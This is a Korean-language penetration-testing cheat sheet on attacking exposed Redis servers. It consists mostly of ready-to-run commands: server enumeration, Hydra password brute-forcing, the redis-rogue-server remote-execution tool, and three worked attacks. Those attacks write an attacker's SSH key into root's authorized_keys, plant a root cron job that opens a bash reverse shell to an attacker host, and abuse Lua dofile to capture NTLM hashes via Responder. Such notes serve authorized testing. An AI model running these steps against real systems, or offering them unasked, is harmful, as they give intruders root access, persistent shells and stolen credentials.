```bash redis-cli -h $IP -p 6379 info # 서버 정보, OS, Version, Memory, etc. config get * # 설정 값 (dir, dbfilename 등 중요) - protected-mode: no # 외부에서 접근 가능 (기본 보안 장치 해제) - dir # 현재 RDB 덤프 파일 저장 디렉토리 - dbfilename # 저장되는 DB 파일 이름 - save # 파일 쓰기 가능 ? keys * # 저장된 키 값 (세션, 패스워드 등 민감 데이터) # 인증 여부 redis-cli -h $IP -a $password # bruteforce hydra -s 6379 -P rockyou.txt -vV $IP redis set 1 "wook" get 1 "wook" ``` # Redis-rogue-server Redis(<=5.0.5) ```bash https://github.com/n0b0dyCN/redis-rogue-server ./redis-rogue-server.py --rhost $IP --lhost <my_IP> ``` # Example 1 - SSH authorized_keys ```bash # 공격자 SSH 키 생성 ssh-keygen -t rsa -b 2048 -f ./id_rsa # Redis 연결해서 공격자 public key 저장 redis-cli -h $IP set crack "\n<공격자 public key>\n" config set dir /root/.ssh/ config set dbfilename "authorized_keys" save # private key로 접속 시도 ssh -i ./id_rsa root@$IP ``` # Example 2 - Cron Job ```bash config set dir /var/spool/cron config set dbfilename root set 1 "*/1 * * * * /bin/bash -i >& /dev/tcp/<attacker-IP>/1234 0>&1" save # 공격자 netcat 리스너 대기 nc -lvnp 1234 ``` # Example 3 ```bash redis-cli -h <IP> > info > config get * > eval "dofile('//<IP>/test')" 0 ``` - `dofile()`은 Lua의 함수 - Redis는 Lua scripts를 서버에 업로드 하거나 스크립트 실행을 가능하게 함. - 이를 악용해서 `Responder`로 NTLM 해시를 가로챌 수 있음.